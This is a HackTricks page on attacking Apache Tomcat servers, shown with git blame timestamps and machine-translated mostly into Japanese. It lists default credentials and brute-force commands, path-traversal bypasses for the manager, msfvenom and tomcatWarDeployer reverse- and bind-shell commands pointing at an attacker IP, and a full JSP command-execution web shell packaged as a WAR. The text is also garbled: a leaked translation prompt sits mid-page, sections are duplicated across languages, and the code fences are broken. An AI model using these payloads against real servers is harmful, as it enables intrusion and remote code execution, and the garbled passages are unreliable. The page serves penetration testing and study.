hacktricks/network-services-pentesting/pentesting-web/tomcat.md

300 lines
21 KiB
Markdown
Raw Normal View History

2022-07-31 22:37:48 +00:00
# Tomcat
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
</details>
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
## Discovery
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* 通常、**ポート8080**で実行されます
* **一般的なTomcatエラー**
2022-04-28 16:01:33 +00:00
2022-10-05 21:51:12 +00:00
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
## Enumeration
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
### バージョン
2022-10-02 23:29:55 +00:00
```bash
2023-07-07 23:42:27 +00:00
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
2022-10-02 23:29:55 +00:00
2023-07-07 23:42:27 +00:00
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
2022-10-02 23:29:55 +00:00
```
2023-07-07 23:42:27 +00:00
### マネージャーファイルの場所を特定する
2023-07-07 23:42:27 +00:00
**`/manager`** と **`/host-manager`** のページがどこにあるかを見つけることは興味深いです。これらのページは異なる名前を持つ場合もあります。ブルートフォースで検索することができます。
2023-07-07 23:42:27 +00:00
### ユーザー名の列挙
2023-07-07 23:42:27 +00:00
Tomcat6以前のバージョンでは、ユーザー名を列挙することができました。
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
2023-07-07 23:42:27 +00:00
### デフォルトの資格情報
2023-07-07 23:42:27 +00:00
Tomcatの最も興味深いパスは_**/manager/html**_です。このパスでは、**warファイルをアップロードして展開することができます**コードを実行できます。ただし、このパスは基本的なHTTP認証で保護されています。最も一般的な資格情報は次のとおりです
* admin:admin
* tomcat:tomcat
2023-07-07 23:42:27 +00:00
* admin:\<何も入力しない>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
2023-07-07 23:42:27 +00:00
これらと他の資格情報をテストすることができます。
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
2023-07-07 23:42:27 +00:00
もう一つの興味深いTomcatのパスは`/manager/status`です。ここではOSとTomcatのバージョンを確認することができます。`/manager/html`にアクセスできない場合に、Tomcatのバージョンに影響を与える脆弱性を見つけるのに役立ちます。
2023-07-07 23:42:27 +00:00
### ブルートフォース攻撃
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
2022-10-02 23:29:55 +00:00
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```
2023-07-07 23:42:27 +00:00
## 脆弱性
2023-07-07 23:42:27 +00:00
### パスワードのバックトレースの漏洩
2022-01-16 17:15:05 +00:00
2023-07-07 23:42:27 +00:00
`/auth.jsp` にアクセスしてみて、非常に幸運な場合にはバックトレースでパスワードが漏洩するかもしれません。
2022-01-16 17:15:05 +00:00
2023-07-07 23:42:27 +00:00
### 二重URLエンコード
2021-03-24 12:52:26 +00:00
2023-07-07 23:42:27 +00:00
よく知られた脆弱性である CVE-2007-1860 では、アプリケーションマネージャにアクセスするための mod_jk が使用されており、二重URLエンコードのパストラバーサルが可能です。
2023-07-07 23:42:27 +00:00
Tomcatの管理ウェブにアクセスするには、以下のパスに移動します: `pathTomcat/%252E%252E/manager/html`
2023-07-07 23:42:27 +00:00
Webシェルをアップロードするためには、二重URLエンコードのトリックを使用し、クッキーやSSRFトークンも送信する必要があるかもしれません。\
バックドアにアクセスするには、二重URLエンコードのトリックを使用する必要があるかもしれません。
2022-07-31 22:37:48 +00:00
### /examples
2021-03-24 12:52:26 +00:00
2023-07-07 23:42:27 +00:00
以下の例示スクリプトは、Apache Tomcat v4.x - v7.x に付属しており、攻撃者がシステムに関する情報を入手するために使用することができます。これらのスクリプトは、クロスサイトスクリプティングXSSインジェクションにも脆弱であることが知られています[ここから](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/))。
2021-03-24 12:52:26 +00:00
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
2023-07-07 23:42:27 +00:00
### パストラバーサル (..;/)
2021-12-23 18:13:55 +00:00
2023-07-07 23:42:27 +00:00
一部の脆弱なTomcatの設定では、パス `/..;/` を使用してTomcatの保護されたディレクトリにアクセスできる場合があります。
2021-12-23 18:13:55 +00:00
2023-07-07 23:42:27 +00:00
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、Tomcatマネージャページにアクセスできるかもしれません。
2021-12-23 18:13:55 +00:00
2023-07-07 23:42:27 +00:00
このトリックを使用して保護されたパスをバイパスする別の方法は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
2021-12-23 18:13:55 +00:00
2022-07-31 22:37:48 +00:00
## RCE
2023-07-07 23:42:27 +00:00
最後に、Tomcat Web Application Manager にアクセスできる場合、.war ファイルをアップロードしてデプロイすることができます(コードの実行)。
2023-07-07 23:42:27 +00:00
### 制限事項
2023-07-07 23:42:27 +00:00
WAR ファイルをデプロイするには、十分な権限(ロール: admin、manager、manager-scriptが必要です。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST](tomcat.md#post)セクションを参照)。
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
2021-08-22 16:26:27 +00:00
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
2021-08-22 01:54:08 +00:00
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
2022-07-31 22:37:48 +00:00
### Metasploit
2023-07-07 23:42:27 +00:00
Metasploitは、ペネトレーションテストや脆弱性評価に使用されるオープンソースのフレームワークです。Metasploitは、様々なモジュールを使用して、システムやネットワークに対する攻撃を自動化することができます。
Metasploitは、多くの便利なツールや機能を提供しています。例えば、エクスプロイトモジュールを使用して、特定の脆弱性を悪用することができます。また、ペイロードモジュールを使用して、攻撃者がシステムにアクセスした後に実行されるコードを指定することができます。
Metasploitは、コマンドラインインターフェースCLIとグラフィカルユーザインターフェースGUIの両方を提供しています。CLIを使用すると、コマンドを入力してMetasploitを操作することができます。GUIを使用すると、より直感的な方法でMetasploitを使用することができます。
Metasploitは、セキュリティ専門家やエンジニアにとって非常に重要なツールです。しかし、悪意のある攻撃に悪用される可能性もあるため、適切な許可なしに使用することは違法です。
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
2023-07-07 23:42:27 +00:00
### MSFVenom リバースシェル
2023-07-07 23:42:27 +00:00
MSFVenomは、Metasploit Frameworkの一部であり、リバースシェルを作成するために使用される強力なツールです。リバースシェルは、攻撃者がターゲットマシンに対してリモートでコマンドを実行するための手段です。
以下のコマンドを使用して、MSFVenomを使用してリバースシェルを作成します。
```bash
2023-07-07 23:42:27 +00:00
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f war > shell.war
```
2023-07-07 23:42:27 +00:00
このコマンドでは、`java/jsp_shell_reverse_tcp`ペイロードを使用してリバースシェルを作成します。`LHOST`パラメータには、攻撃者のIPアドレスを指定し、`LPORT`パラメータには、攻撃者が待ち受けるポート番号を指定します。作成されたリバースシェルは、`shell.war`という名前のWARファイルに保存されます。
2023-07-07 23:42:27 +00:00
作成したリバースシェルをターゲットのTomcatサーバーにデプロイするには、以下の手順を実行します。
1. ターゲットのTomcatサーバーにログインします。
2. TomcatのWebアプリケーションディレクトリ通常は`webapps`)に移動します。
3. `shell.war`ファイルをこのディレクトリにアップロードします。
4. Tomcatサーバーを再起動します。
リバースシェルが正常にデプロイされると、攻撃者は指定したIPアドレスとポート番号でリモートコマンドを実行できるようになります。
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
次に、**`revshell.war`ファイルをアップロードし、それにアクセスします(**_**/revshell/**_****
2023-07-07 23:42:27 +00:00
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用してバインドシェルとリバースシェルを作成する
2023-07-07 23:42:27 +00:00
一部のシナリオではこれが機能しないことがありますたとえば古いバージョンのsun
2023-07-07 23:42:27 +00:00
#### ダウンロード
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
2023-07-07 23:42:27 +00:00
#### リバースシェル
2023-07-07 23:42:27 +00:00
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in penetration testing and hacking activities.
2023-07-07 23:42:27 +00:00
To establish a reverse shell, the attacker needs to set up a listener on their machine and configure the target machine to connect back to the listener. This can be done by exploiting vulnerabilities in network services or by tricking the target into running malicious code.
Once the reverse shell connection is established, the attacker can interact with the target machine's command prompt or shell, just as if they were physically present on the machine. This provides the attacker with a powerful tool for executing commands, exploring the target system, and exfiltrating data.
It is important to note that reverse shells can be detected and blocked by security measures such as firewalls and intrusion detection systems. Therefore, attackers often use techniques to obfuscate their activities and evade detection.
#### リバースシェル
リバースシェルは、ターゲットマシンが攻撃者のマシンに接続を開始するタイプのシェルです。これにより、攻撃者はターゲットマシンにリモートアクセスし、コマンドを実行することができます。リバースシェルは、一般的にペネトレーションテストやハッキング活動で使用されます。
リバースシェルを確立するには、攻撃者は自分のマシンでリスナーを設定し、ターゲットマシンをリスナーに接続するように設定する必要があります。これは、ネットワークサービスの脆弱性を悪用するか、ターゲットを悪意のあるコードを実行するように誘導することで行うことができます。
リバースシェル接続が確立されると、攻撃者はまるで物理的にマシンにいるかのように、ターゲットマシンのコマンドプロンプトやシェルとやり取りすることができます。これにより、攻撃者はコマンドの実行、ターゲットシステムの調査、データの外部への持ち出しなど、強力なツールを手に入れることができます。
リバースシェルは、ファイアウォールや侵入検知システムなどのセキュリティ対策によって検出およびブロックされる可能性があることに注意する必要があります。そのため、攻撃者はしばしば自分の活動を曖昧化し、検出を回避するための技術を使用します。
```bash
2021-08-29 13:51:49 +00:00
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
2023-07-07 23:42:27 +00:00
#### バインドシェル
A bind shell is a type of shell that allows an attacker to gain remote access to a target system. It works by binding a shell to a specific port on the target system, allowing the attacker to connect to that port and gain control over the system.
2023-07-07 23:42:27 +00:00
To create a bind shell, the attacker needs to have a listening shell on their own machine and then establish a connection to the target system. Once the connection is established, the attacker can execute commands on the target system and interact with it as if they were physically present.
2023-07-07 23:42:27 +00:00
Bind shells are commonly used in network penetration testing to gain unauthorized access to a target system and perform various malicious activities. It is important for system administrators to be aware of the existence of bind shells and take appropriate measures to protect their systems from such attacks.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
2023-07-07 23:42:27 +00:00
### [Culsterd](https://github.com/hatRiot/clusterd)の使用
Culsterdを使用すると、Tomcatサーバーに対する攻撃を自動化することができます。Culsterdは、脆弱性スキャン、ディレクトリトラバーサル、ファイルの読み取り、ファイルの書き込みなどの一連の攻撃を実行するためのツールです。
Culsterdを使用するには、まずCulsterdをダウンロードしてインストールする必要があります。次に、Culsterdを実行するための設定ファイルを作成します。設定ファイルには、攻撃対象のTomcatサーバーのIPアドレスやポート番号、攻撃の種類などの情報を指定します。
2023-07-07 23:42:27 +00:00
Culsterdを実行すると、指定した攻撃対象に対して攻撃が開始されます。攻撃の結果は、Culsterdのログファイルに保存されます。攻撃が成功した場合、脆弱性のあるTomcatサーバーにアクセスできる可能性があります。
2023-07-07 23:42:27 +00:00
Culsterdは、Tomcatサーバーの脆弱性をテストするための便利なツールですが、悪意のある目的で使用することは違法です。正当な目的でのみ使用してください。
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
2023-07-07 23:42:27 +00:00
### 手動方法 - ウェブシェル
2023-07-07 23:42:27 +00:00
この[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)で**index.jsp**を作成してください。
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
2023-07-07 23:42:27 +00:00
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
2023-07-07 23:42:27 +00:00
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
2022-10-02 23:29:55 +00:00
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
2022-10-02 23:29:55 +00:00
# Upload it
```
2023-07-07 23:42:27 +00:00
以下は、ハッキング技術に関する本からのコンテンツです。以下のコンテンツは、/hive/hacktricks/network-services-pentesting/pentesting-web/tomcat.mdファイルからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。
2023-07-07 23:42:27 +00:00
```
また、これをインストールすることもできます(アップロード、ダウンロード、およびコマンドの実行を許可します):[http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
2022-10-02 23:29:55 +00:00
2023-07-07 23:42:27 +00:00
### 手動方法2
2022-10-02 23:29:55 +00:00
2023-07-07 23:42:27 +00:00
[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなJSPウェブシェルを取得し、WARファイルを作成します
```
2022-10-02 23:29:55 +00:00
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
2023-07-07 23:42:27 +00:00
zip -r backup.war cmd.jsp
2022-10-02 23:29:55 +00:00
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
2022-07-31 22:37:48 +00:00
## POST
2023-07-07 23:42:27 +00:00
Tomcatの認証情報ファイルの名前は _tomcat-users.xml_ です。
```bash
find / -name tomcat-users.xml 2>/dev/null
```
2023-07-07 23:42:27 +00:00
他のTomcatの資格情報を収集する方法:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
2023-07-07 23:42:27 +00:00
## その他のTomcatスキャンツール
2022-07-31 22:37:48 +00:00
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>